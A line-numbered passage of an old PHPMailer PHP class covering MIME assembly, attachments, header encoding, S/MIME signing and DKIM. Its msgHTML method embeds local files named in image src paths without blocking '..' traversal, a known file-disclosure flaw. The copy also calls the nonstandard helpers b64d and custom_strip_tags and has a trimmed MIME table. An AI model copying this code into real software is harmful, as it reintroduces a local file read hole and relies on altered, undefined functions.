  1738. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  1739. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1740. $body .= $this->LE . $this->LE;
  1741. $body .= $this->attachAll('inline', $this->boundary[3]);
  1742. $body .= $this->LE;
  1743. $body .= $this->endBoundary($this->boundary[2]);
  1744. $body .= $this->LE;
  1745. $body .= $this->attachAll('attachment', $this->boundary[1]);
  1746. break;
  1747. default:
  1748. // catch case 'plain' and case ''
  1749. $body .= $this->encodeString($this->Body, $bodyEncoding);
  1750. break;
  1751. }
  1752. if ($this->isError()) {
  1753. $body = '';
  1754. } elseif ($this->sign_key_file) {
  1755. try {
  1756. if (!defined('PKCS7_TEXT')) {
  1757. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  1758. }
  1759. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  1760. $file = tempnam(sys_get_temp_dir(), 'mail');
  1761. if (false === file_put_contents($file, $body)) {
  1762. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  1763. }
  1764. $signed = tempnam(sys_get_temp_dir(), 'signed');
  1765. if (@openssl_pkcs7_sign(
  1766. $file,
  1767. $signed,
  1768. 'file://' . realpath($this->sign_cert_file),
  1769. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  1770. null
  1771. )
  1772. ) {
  1773. @unlink($file);
  1774. $body = file_get_contents($signed);
  1775. @unlink($signed);
  1776. } else {
  1777. @unlink($file);
  1778. @unlink($signed);
  1779. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  1780. }
  1781. } catch (phpmailerException $exc) {
  1782. $body = '';
  1783. if ($this->exceptions) {
  1784. throw $exc;
  1785. }
  1786. }
  1787. }
  1788. return $body;
  1789. }
  1790. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  1791. {
  1792. $result = '';
  1793. if ($charSet == '') {
  1794. $charSet = $this->CharSet;
  1795. }
  1796. if ($contentType == '') {
  1797. $contentType = $this->ContentType;
  1798. }
  1799. if ($encoding == '') {
  1800. $encoding = $this->Encoding;
  1801. }
  1802. $result .= $this->textLine('--' . $boundary);
  1803. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  1804. $result .= $this->LE;
  1805. // RFC1341 part 5 says 7bit is assumed if not specified
  1806. if ($encoding != '7bit') {
  1807. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  1808. }
  1809. $result .= $this->LE;
  1810. return $result;
  1811. }
  1812. protected function endBoundary($boundary)
  1813. {
  1814. return $this->LE . '--' . $boundary . '--' . $this->LE;
  1815. }
  1816. protected function setMessageType()
  1817. {
  1818. $type = array();
  1819. if ($this->alternativeExists()) {
  1820. $type[] = 'alt';
  1821. }
  1822. if ($this->inlineImageExists()) {
  1823. $type[] = 'inline';
  1824. }
  1825. if ($this->attachmentExists()) {
  1826. $type[] = 'attach';
  1827. }
  1828. $this->message_type = implode('_', $type);
  1829. if ($this->message_type == '') {
  1830. $this->message_type = 'plain';
  1831. }
  1832. }
  1833. public function headerLine($name, $value)
  1834. {
  1835. return $name . ': ' . $value . $this->LE;
  1836. }
  1837. public function textLine($value)
  1838. {
  1839. return $value . $this->LE;
  1840. }
  1841. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  1842. {
  1843. try {
  1844. if (!@is_file($path)) {
  1845. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  1846. }
  1847. // If a MIME type is not specified, try to work it out from the file name
  1848. if ($type == '') {
  1849. $type = self::filenameToType($path);
  1850. }
  1851. $filename = basename($path);
  1852. if ($name == '') {
  1853. $name = $filename;
  1854. }
  1855. $this->attachment[] = array(
  1856. 0 => $path,
  1857. 1 => $filename,
  1858. 2 => $name,
  1859. 3 => $encoding,
  1860. 4 => $type,
  1861. 5 => false, // isStringAttachment
  1862. 6 => $disposition,
  1863. 7 => 0
  1864. );
  1865. } catch (phpmailerException $exc) {
  1866. $this->setError($exc->getMessage());
  1867. $this->edebug($exc->getMessage());
  1868. if ($this->exceptions) {
  1869. throw $exc;
  1870. }
  1871. return false;
  1872. }
  1873. return true;
  1874. }
  1875. public function getAttachments()
  1876. {
  1877. return $this->attachment;
  1878. }
  1879. protected function attachAll($disposition_type, $boundary)
  1880. {
  1881. // Return text of body
  1882. $mime = array();
  1883. $cidUniq = array();
  1884. $incl = array();
  1885. // Add all attachments
  1886. foreach ($this->attachment as $attachment) {
  1887. // Check if it is a valid disposition_filter
  1888. if ($attachment[6] == $disposition_type) {
  1889. // Check for string attachment
  1890. $string = '';
  1891. $path = '';
  1892. $bString = $attachment[5];
  1893. if ($bString) {
  1894. $string = $attachment[0];
  1895. } else {
  1896. $path = $attachment[0];
  1897. }
  1898. $inclhash = md5(serialize($attachment));
  1899. if (in_array($inclhash, $incl)) {
  1900. continue;
  1901. }
  1902. $incl[] = $inclhash;
  1903. $name = $attachment[2];
  1904. $encoding = $attachment[3];
  1905. $type = $attachment[4];
  1906. $disposition = $attachment[6];
  1907. $cid = $attachment[7];
  1908. if ($disposition == 'inline' && isset($cidUniq[$cid])) {
  1909. continue;
  1910. }
  1911. $cidUniq[$cid] = true;
  1912. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  1913. $mime[] = sprintf(
  1914. 'Content-Type: %s; name="%s"%s',
  1915. $type,
  1916. $this->encodeHeader($this->secureHeader($name)),
  1917. $this->LE
  1918. );
  1919. // RFC1341 part 5 says 7bit is assumed if not specified
  1920. if ($encoding != '7bit') {
  1921. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  1922. }
  1923. if ($disposition == 'inline') {
  1924. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  1925. }
  1926. // If a filename contains any of these chars, it should be quoted,
  1927. // but not otherwise: RFC2183 & RFC2045 5.1
  1928. // Fixes a warning in IETF's msglint MIME checker
  1929. // Allow for bypassing the Content-Disposition header totally
  1930. if (!(empty($disposition))) {
  1931. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  1932. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  1933. $mime[] = sprintf(
  1934. 'Content-Disposition: %s; filename="%s"%s',
  1935. $disposition,
  1936. $encoded_name,
  1937. $this->LE . $this->LE
  1938. );
  1939. } else {
  1940. $mime[] = sprintf(
  1941. 'Content-Disposition: %s; filename=%s%s',
  1942. $disposition,
  1943. $encoded_name,
  1944. $this->LE . $this->LE
  1945. );
  1946. }
  1947. } else {
  1948. $mime[] = $this->LE;
  1949. }
  1950. // Encode as string attachment
  1951. if ($bString) {
  1952. $mime[] = $this->encodeString($string, $encoding);
  1953. if ($this->isError()) {
  1954. return '';
  1955. }
  1956. $mime[] = $this->LE . $this->LE;
  1957. } else {
  1958. $mime[] = $this->encodeFile($path, $encoding);
  1959. if ($this->isError()) {
  1960. return '';
  1961. }
  1962. $mime[] = $this->LE . $this->LE;
  1963. }
  1964. }
  1965. }
  1966. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  1967. return implode('', $mime);
  1968. }
  1969. protected function encodeFile($path, $encoding = 'base64')
  1970. {
  1971. try {
  1972. if (!is_readable($path)) {
  1973. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  1974. }
  1975. $magic_quotes = get_magic_quotes_runtime();
  1976. if ($magic_quotes) {
  1977. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1978. set_magic_quotes_runtime(false);
  1979. } else {
  1980. ini_set('magic_quotes_runtime', 0);
  1981. }
  1982. }
  1983. $file_buffer = file_get_contents($path);
  1984. $file_buffer = $this->encodeString($file_buffer, $encoding);
  1985. if ($magic_quotes) {
  1986. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  1987. set_magic_quotes_runtime($magic_quotes);
  1988. } else {
  1989. ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  1990. }
  1991. }
  1992. return $file_buffer;
  1993. } catch (Exception $exc) {
  1994. $this->setError($exc->getMessage());
  1995. return '';
  1996. }
  1997. }
  1998. public function encodeString($str, $encoding = 'base64')
  1999. {
  2000. $encoded = '';
  2001. switch (strtolower($encoding)) {
  2002. case 'base64':
  2003. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2004. break;
  2005. case '7bit':
  2006. case '8bit':
  2007. $encoded = $this->fixEOL($str);
  2008. // Make sure it ends with a line break
  2009. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2010. $encoded .= $this->LE;
  2011. }
  2012. break;
  2013. case 'binary':
  2014. $encoded = $str;
  2015. break;
  2016. case 'quoted-printable':
  2017. $encoded = $this->encodeQP($str);
  2018. break;
  2019. default:
  2020. $this->setError($this->lang('encoding') . $encoding);
  2021. break;
  2022. }
  2023. return $encoded;
  2024. }
  2025. public function encodeHeader($str, $position = 'text')
  2026. {
  2027. $matchcount = 0;
  2028. switch (strtolower($position)) {
  2029. case 'phrase':
  2030. if (!preg_match('/[\200-\377]/', $str)) {
  2031. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2032. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2033. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2034. return ($encoded);
  2035. } else {
  2036. return ("\"$encoded\"");
  2037. }
  2038. }
  2039. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2040. break;
  2041. /** @noinspection PhpMissingBreakStatementInspection */
  2042. case 'comment':
  2043. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2044. // Intentional fall-through
  2045. case 'text':
  2046. default:
  2047. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2048. break;
  2049. }
  2050. if ($matchcount == 0) { // There are no chars that need encoding
  2051. return ($str);
  2052. }
  2053. $maxlen = 75 - 7 - strlen($this->CharSet);
  2054. // Try to select the encoding which should produce the shortest output
  2055. if ($matchcount > strlen($str) / 3) {
  2056. // More than a third of the content will need encoding, so B encoding will be most efficient
  2057. $encoding = 'B';
  2058. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2059. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2060. } else {
  2061. $encoded = base64_encode($str);
  2062. $maxlen -= $maxlen % 4;
  2063. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2064. }
  2065. } else {
  2066. $encoding = 'Q';
  2067. $encoded = $this->encodeQ($str, $position);
  2068. $encoded = $this->wrapText($encoded, $maxlen, true);
  2069. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2070. }
  2071. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2072. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2073. return $encoded;
  2074. }
  2075.  
  2076. public function hasMultiBytes($str)
  2077. {
  2078. if (function_exists('mb_strlen')) {
  2079. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2080. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2081. return false;
  2082. }
  2083. }
  2084.  
  2085. public function has8bitChars($text)
  2086. {
  2087. return (boolean)preg_match('/[\x80-\xFF]/', $text);
  2088. }
  2089.  
  2090. public function base64EncodeWrapMB($str, $linebreak = null)
  2091. {
  2092. $start = '=?' . $this->CharSet . '?B?';
  2093. $end = '?=';
  2094. $encoded = '';
  2095. if ($linebreak === null) {
  2096. $linebreak = $this->LE;
  2097. }
  2098. $mb_length = mb_strlen($str, $this->CharSet);
  2099. // Each line must have length <= 75, including $start and $end
  2100. $length = 75 - strlen($start) - strlen($end);
  2101. // Average multi-byte ratio
  2102. $ratio = $mb_length / strlen($str);
  2103. // Base64 has a 4:3 ratio
  2104. $avgLength = floor($length * $ratio * .75);
  2105. for ($i = 0; $i < $mb_length; $i += $offset) {
  2106. $lookBack = 0;
  2107. do {
  2108. $offset = $avgLength - $lookBack;
  2109. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2110. $chunk = base64_encode($chunk);
  2111. $lookBack++;
  2112. } while (strlen($chunk) > $length);
  2113. $encoded .= $chunk . $linebreak;
  2114. }
  2115. // Chomp the last linefeed
  2116. $encoded = substr($encoded, 0, -strlen($linebreak));
  2117. return $encoded;
  2118. }
  2119.  
  2120. public function encodeQP($string, $line_max = 76)
  2121. {
  2122. if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
  2123. return $this->fixEOL(quoted_printable_encode($string));
  2124. }
  2125. // Fall back to a pure PHP implementation
  2126. $string = str_replace(
  2127. array('%20', '%0D%0A.', '%0D%0A', '%'),
  2128. array(' ', "\r\n=2E", "\r\n", '='),
  2129. rawurlencode($string)
  2130. );
  2131. $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
  2132. return $this->fixEOL($string);
  2133. }
  2134.  
  2135. public function encodeQPphp(
  2136. $string,
  2137. $line_max = 76,
  2138. /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
  2139. ) {
  2140. return $this->encodeQP($string, $line_max);
  2141. }
  2142.  
  2143. public function encodeQ($str, $position = 'text')
  2144. {
  2145. // There should not be any EOL in the string
  2146. $pattern = '';
  2147. $encoded = str_replace(array("\r", "\n"), '', $str);
  2148. switch (strtolower($position)) {
  2149. case 'phrase':
  2150. // RFC 2047 section 5.3
  2151. $pattern = '^A-Za-z0-9!*+\/ -';
  2152. break;
  2153. /** @noinspection PhpMissingBreakStatementInspection */
  2154. case 'comment':
  2155. // RFC 2047 section 5.2
  2156. $pattern = '\(\)"';
  2157. case 'text':
  2158. default:
  2159. $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
  2160. break;
  2161. }
  2162. $matches = array();
  2163. if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
  2164. $eqkey = array_search('=', $matches[0]);
  2165. if (false !== $eqkey) {
  2166. unset($matches[0][$eqkey]);
  2167. array_unshift($matches[0], '=');
  2168. }
  2169. foreach (array_unique($matches[0]) as $char) {
  2170. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2171. }
  2172. }
  2173. // Replace every spaces to _ (more readable than =20)
  2174. return str_replace(' ', '_', $encoded);
  2175. }
  2176.  
  2177. public function addStringAttachment(
  2178. $string,
  2179. $filename,
  2180. $encoding = 'base64',
  2181. $type = '',
  2182. $disposition = 'attachment'
  2183. ) {
  2184. // If a MIME type is not specified, try to work it out from the file name
  2185. if ($type == '') {
  2186. $type = self::filenameToType($filename);
  2187. }
  2188. // Append to $attachment array
  2189. $this->attachment[] = array(
  2190. 0 => $string,
  2191. 1 => $filename,
  2192. 2 => basename($filename),
  2193. 3 => $encoding,
  2194. 4 => $type,
  2195. 5 => true, // isStringAttachment
  2196. 6 => $disposition,
  2197. 7 => 0
  2198. );
  2199. }
  2200. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
  2201. {
  2202. if (!@is_file($path)) {
  2203. $this->setError($this->lang('file_access') . $path);
  2204. return false;
  2205. }
  2206. // If a MIME type is not specified, try to work it out from the file name
  2207. if ($type == '') {
  2208. $type = self::filenameToType($path);
  2209. }
  2210. $filename = basename($path);
  2211. if ($name == '') {
  2212. $name = $filename;
  2213. }
  2214. // Append to $attachment array
  2215. $this->attachment[] = array(
  2216. 0 => $path,
  2217. 1 => $filename,
  2218. 2 => $name,
  2219. 3 => $encoding,
  2220. 4 => $type,
  2221. 5 => false, // isStringAttachment
  2222. 6 => $disposition,
  2223. 7 => $cid
  2224. );
  2225. return true;
  2226. }
  2227.  
  2228. public function addStringEmbeddedImage(
  2229. $string,
  2230. $cid,
  2231. $name = '',
  2232. $encoding = 'base64',
  2233. $type = '',
  2234. $disposition = 'inline'
  2235. ) {
  2236. // If a MIME type is not specified, try to work it out from the name
  2237. if ($type == '') {
  2238. $type = self::filenameToType($name);
  2239. }
  2240. // Append to $attachment array
  2241. $this->attachment[] = array(
  2242. 0 => $string,
  2243. 1 => $name,
  2244. 2 => $name,
  2245. 3 => $encoding,
  2246. 4 => $type,
  2247. 5 => true, // isStringAttachment
  2248. 6 => $disposition,
  2249. 7 => $cid
  2250. );
  2251. return true;
  2252. }
  2253. public function inlineImageExists()
  2254. {
  2255. foreach ($this->attachment as $attachment) {
  2256. if ($attachment[6] == 'inline') {
  2257. return true;
  2258. }
  2259. }
  2260. return false;
  2261. }
  2262. public function attachmentExists()
  2263. {
  2264. foreach ($this->attachment as $attachment) {
  2265. if ($attachment[6] == 'attachment') {
  2266. return true;
  2267. }
  2268. }
  2269. return false;
  2270. }
  2271. public function alternativeExists()
  2272. {
  2273. return !empty($this->AltBody);
  2274. }
  2275. public function clearAddresses()
  2276. {
  2277. foreach ($this->to as $to) {
  2278. unset($this->all_recipients[strtolower($to[0])]);
  2279. }
  2280. $this->to = array();
  2281. }
  2282. public function clearCCs()
  2283. {
  2284. foreach ($this->cc as $cc) {
  2285. unset($this->all_recipients[strtolower($cc[0])]);
  2286. }
  2287. $this->cc = array();
  2288. }
  2289. public function clearBCCs()
  2290. {
  2291. foreach ($this->bcc as $bcc) {
  2292. unset($this->all_recipients[strtolower($bcc[0])]);
  2293. }
  2294. $this->bcc = array();
  2295. }
  2296. public function clearReplyTos()
  2297. {
  2298. $this->ReplyTo = array();
  2299. }
  2300.  
  2301. public function clearAllRecipients()
  2302. {
  2303. $this->to = array();
  2304. $this->cc = array();
  2305. $this->bcc = array();
  2306. $this->all_recipients = array();
  2307. }
  2308. public function clearAttachments()
  2309. {
  2310. $this->attachment = array();
  2311. }
  2312. public function clearCustomHeaders()
  2313. {
  2314. $this->CustomHeader = array();
  2315. }
  2316. protected function setError($msg)
  2317. {
  2318. $this->error_count++;
  2319. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2320. $lasterror = $this->smtp->getError();
  2321. if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
  2322. $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
  2323. }
  2324. }
  2325. $this->ErrorInfo = $msg;
  2326. }
  2327. public static function rfcDate()
  2328. {
  2329. // Set the time zone to whatever the default is to avoid 500 errors
  2330. // Will default to UTC if it's not set properly in php.ini
  2331. date_default_timezone_set(@date_default_timezone_get());
  2332. return date('D, j M Y H:i:s O');
  2333. }
  2334. protected function serverHostname()
  2335. {
  2336. $result = 'localhost.localdomain';
  2337. if (!empty($this->Hostname)) {
  2338. $result = $this->Hostname;
  2339. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2340. $result = $_SERVER['SERVER_NAME'];
  2341. } elseif (function_exists('gethostname') && gethostname() !== false) {
  2342. $result = gethostname();
  2343. } elseif (php_uname('n') !== false) {
  2344. $result = php_uname('n');
  2345. }
  2346. return $result;
  2347. }
  2348. protected function lang($key)
  2349. {
  2350. if (count($this->language) < 1) {
  2351. $this->setLanguage('en'); // set the default language
  2352. }
  2353. if (isset($this->language[$key])) {
  2354. return $this->language[$key];
  2355. } else {
  2356. return 'Language string failed to load: ' . $key;
  2357. }
  2358. }
  2359. public function isError()
  2360. {
  2361. return ($this->error_count > 0);
  2362. }
  2363. public function fixEOL($str)
  2364. {
  2365. // Normalise to \n
  2366. $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
  2367. // Now convert LE as needed
  2368. if ($this->LE !== "\n") {
  2369. $nstr = str_replace("\n", $this->LE, $nstr);
  2370. }
  2371. return $nstr;
  2372. }
  2373.  
  2374. public function addCustomHeader($name, $value = null)
  2375. {
  2376. if ($value === null) {
  2377. // Value passed in as name:value
  2378. $this->CustomHeader[] = explode(':', $name, 2);
  2379. } else {
  2380. $this->CustomHeader[] = array($name, $value);
  2381. }
  2382. }
  2383. public function msgHTML($message, $basedir = '', $advanced = false)
  2384. {
  2385. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2386. if (isset($images[2])) {
  2387. foreach ($images[2] as $imgindex => $url) {
  2388. // Convert data URIs into embedded images
  2389. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2390. $data = substr($url, strpos($url, ',')+1);
  2391. if ($match[2]) {
  2392. $data = b64d($data);
  2393. } else {
  2394. $data = rawurldecode($data);
  2395. }
  2396. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2397. if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {
  2398. $message = str_replace(
  2399. $images[0][$imgindex],
  2400. $images[1][$imgindex] . '="cid:' . $cid . '"',
  2401. $message
  2402. );
  2403. }
  2404. } elseif (!preg_match('#^[A-z]+://#', $url)) {
  2405. // Do not change urls for absolute images (thanks to corvuscorax)
  2406. $filename = basename($url);
  2407. $directory = dirname($url);
  2408. if ($directory == '.') {
  2409. $directory = '';
  2410. }
  2411. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2412. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2413. $basedir .= '/';
  2414. }
  2415. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2416. $directory .= '/';
  2417. }
  2418. if ($this->addEmbeddedImage(
  2419. $basedir . $directory . $filename,
  2420. $cid,
  2421. $filename,
  2422. 'base64',
  2423. self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
  2424. )
  2425. ) {
  2426. $message = preg_replace(
  2427. '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
  2428. $images[1][$imgindex] . '="cid:' . $cid . '"',
  2429. $message
  2430. );
  2431. }
  2432. }
  2433. }
  2434. }
  2435. $this->isHTML(true);
  2436. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2437. $this->Body = $this->normalizeBreaks($message);
  2438. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2439. if (empty($this->AltBody)) {
  2440. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
  2441. self::CRLF . self::CRLF;
  2442. }
  2443. return $this->Body;
  2444. }
  2445.  
  2446. public function html2text($html, $advanced = false)
  2447. {
  2448. if (is_callable($advanced)) {
  2449. return call_user_func($advanced, $html);
  2450. }
  2451. return html_entity_decode(
  2452. trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
  2453. ENT_QUOTES,
  2454. $this->CharSet
  2455. );
  2456. }
  2457.  
  2458. public static function _mime_types($ext = '')
  2459. {
  2460. $mimes = array(
  2461. 'gif' => 'image/gif',
  2462. 'jpeg' => 'image/jpeg',
  2463. 'jpe' => 'image/jpeg',
  2464. 'jpg' => 'image/jpeg',
  2465. 'png' => 'image/png',
  2466. 'tiff' => 'image/tiff',
  2467. 'tif' => 'image/tiff',
  2468. );
  2469. return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');
  2470. }
  2471.  
  2472. public static function filenameToType($filename)
  2473. {
  2474. // In case the path is a URL, strip any query string before getting extension
  2475. $qpos = strpos($filename, '?');
  2476. if (false !== $qpos) {
  2477. $filename = substr($filename, 0, $qpos);
  2478. }
  2479. $pathinfo = self::mb_pathinfo($filename);
  2480. return self::_mime_types($pathinfo['extension']);
  2481. }
  2482.  
  2483. public static function mb_pathinfo($path, $options = null)
  2484. {
  2485. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  2486. $pathinfo = array();
  2487. if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
  2488. if (array_key_exists(1, $pathinfo)) {
  2489. $ret['dirname'] = $pathinfo[1];
  2490. }
  2491. if (array_key_exists(2, $pathinfo)) {
  2492. $ret['basename'] = $pathinfo[2];
  2493. }
  2494. if (array_key_exists(5, $pathinfo)) {
  2495. $ret['extension'] = $pathinfo[5];
  2496. }
  2497. if (array_key_exists(3, $pathinfo)) {
  2498. $ret['filename'] = $pathinfo[3];
  2499. }
  2500. }
  2501. switch ($options) {
  2502. case PATHINFO_DIRNAME:
  2503. case 'dirname':
  2504. return $ret['dirname'];
  2505. case PATHINFO_BASENAME:
  2506. case 'basename':
  2507. return $ret['basename'];
  2508. case PATHINFO_EXTENSION:
  2509. case 'extension':
  2510. return $ret['extension'];
  2511. case PATHINFO_FILENAME:
  2512. case 'filename':
  2513. return $ret['filename'];
  2514. default:
  2515. return $ret;
  2516. }
  2517. }
  2518. public function set($name, $value = '')
  2519. {
  2520. try {
  2521. if (isset($this->$name)) {
  2522. $this->$name = $value;
  2523. } else {
  2524. throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);
  2525. }
  2526. } catch (Exception $exc) {
  2527. $this->setError($exc->getMessage());
  2528. if ($exc->getCode() == self::STOP_CRITICAL) {
  2529. return false;
  2530. }
  2531. }
  2532. return true;
  2533. }
  2534.  
  2535. public function secureHeader($str)
  2536. {
  2537. return trim(str_replace(array("\r", "\n"), '', $str));
  2538. }
  2539. public static function normalizeBreaks($text, $breaktype = "\r\n")
  2540. {
  2541. return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
  2542. }
  2543.  
  2544. public function sign($cert_filename, $key_filename, $key_pass)
  2545. {
  2546. $this->sign_cert_file = $cert_filename;
  2547. $this->sign_key_file = $key_filename;
  2548. $this->sign_key_pass = $key_pass;
  2549. }
  2550. public function DKIM_QP($txt)
  2551. {
  2552. $line = '';
  2553. for ($i = 0; $i < strlen($txt); $i++) {
  2554. $ord = ord($txt[$i]);
  2555. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  2556. $line .= $txt[$i];
  2557. } else {
  2558. $line .= '=' . sprintf('%02X', $ord);
  2559. }
  2560. }
  2561. return $line;
  2562. }
  2563. public function DKIM_Sign($signHeader)
  2564. {
  2565. if (!defined('PKCS7_TEXT')) {
  2566. if ($this->exceptions) {
  2567. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  2568. }
  2569. return '';
  2570. }
  2571. $privKeyStr = file_get_contents($this->DKIM_private);
  2572. if ($this->DKIM_passphrase != '') {
  2573. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2574. } else {
  2575. $privKey = $privKeyStr;
  2576. }
  2577. if (openssl_sign($signHeader, $signature, $privKey)) {
  2578. return base64_encode($signature);
  2579. }
  2580. return '';
  2581. }
  2582. public function DKIM_HeaderC($signHeader)
  2583. {
  2584. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2585. $lines = explode("\r\n", $signHeader);
  2586. foreach ($lines as $key => $line) {
  2587. list($heading, $value) = explode(':', $line, 2);
  2588. $heading = strtolower($heading);
  2589. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  2590. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2591. }
  2592. $signHeader = implode("\r\n", $lines);
  2593. return $signHeader;
  2594. }
  2595. public function DKIM_BodyC($body)
  2596. {
  2597. if ($body == '') {
  2598. return "\r\n";
  2599. }
  2600. // stabilize line endings
  2601. $body = str_replace("\r\n", "\n", $body);
  2602. $body = str_replace("\n", "\r\n", $body);
  2603. // END stabilize line endings
  2604. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2605. $body = substr($body, 0, strlen($body) - 2);
  2606. }
  2607. return $body;
  2608. }
  2609. public function DKIM_Add($headers_line, $subject, $body)
  2610. {
  2611. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2612. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2613. $DKIMquery = 'dns/txt'; // Query method
  2614. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2615. $subject_header = "Subject: $subject";
  2616. $headers = explode($this->LE, $headers_line);
  2617. $from_header = '';
  2618. $to_header = '';
  2619. $current = '';
  2620. foreach ($headers as $header) {
  2621. if (strpos($header, 'From:') === 0) {
  2622. $from_header = $header;
  2623. $current = 'from_header';
  2624. } elseif (strpos($header, 'To:') === 0) {
  2625. $to_header = $header;
  2626. $current = 'to_header';
  2627. } else {
  2628. if ($current && strpos($header, ' =?') === 0) {
  2629. $current .= $header;
  2630. } else {
  2631. $current = '';
  2632. }
  2633. }
  2634. }
  2635. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2636. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2637. $subject = str_replace(
  2638. '|',
  2639. '=7C',
  2640. $this->DKIM_QP($subject_header)
  2641. ); // Copied header fields (dkim-quoted-printable)
  2642. $body = $this->DKIM_BodyC($body);
  2643. $DKIMlen = strlen($body); // Length of body
  2644. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  2645. $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  2646. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2647. $DKIMsignatureType . '; q=' .
  2648. $DKIMquery . '; l=' .
  2649. $DKIMlen . '; s=' .
  2650. $this->DKIM_selector .
  2651. ";\r\n" .
  2652. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2653. "\th=From:To:Subject;\r\n" .
  2654. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2655. "\tz=$from\r\n" .
  2656. "\t|$to\r\n" .
  2657. "\t|$subject;\r\n" .
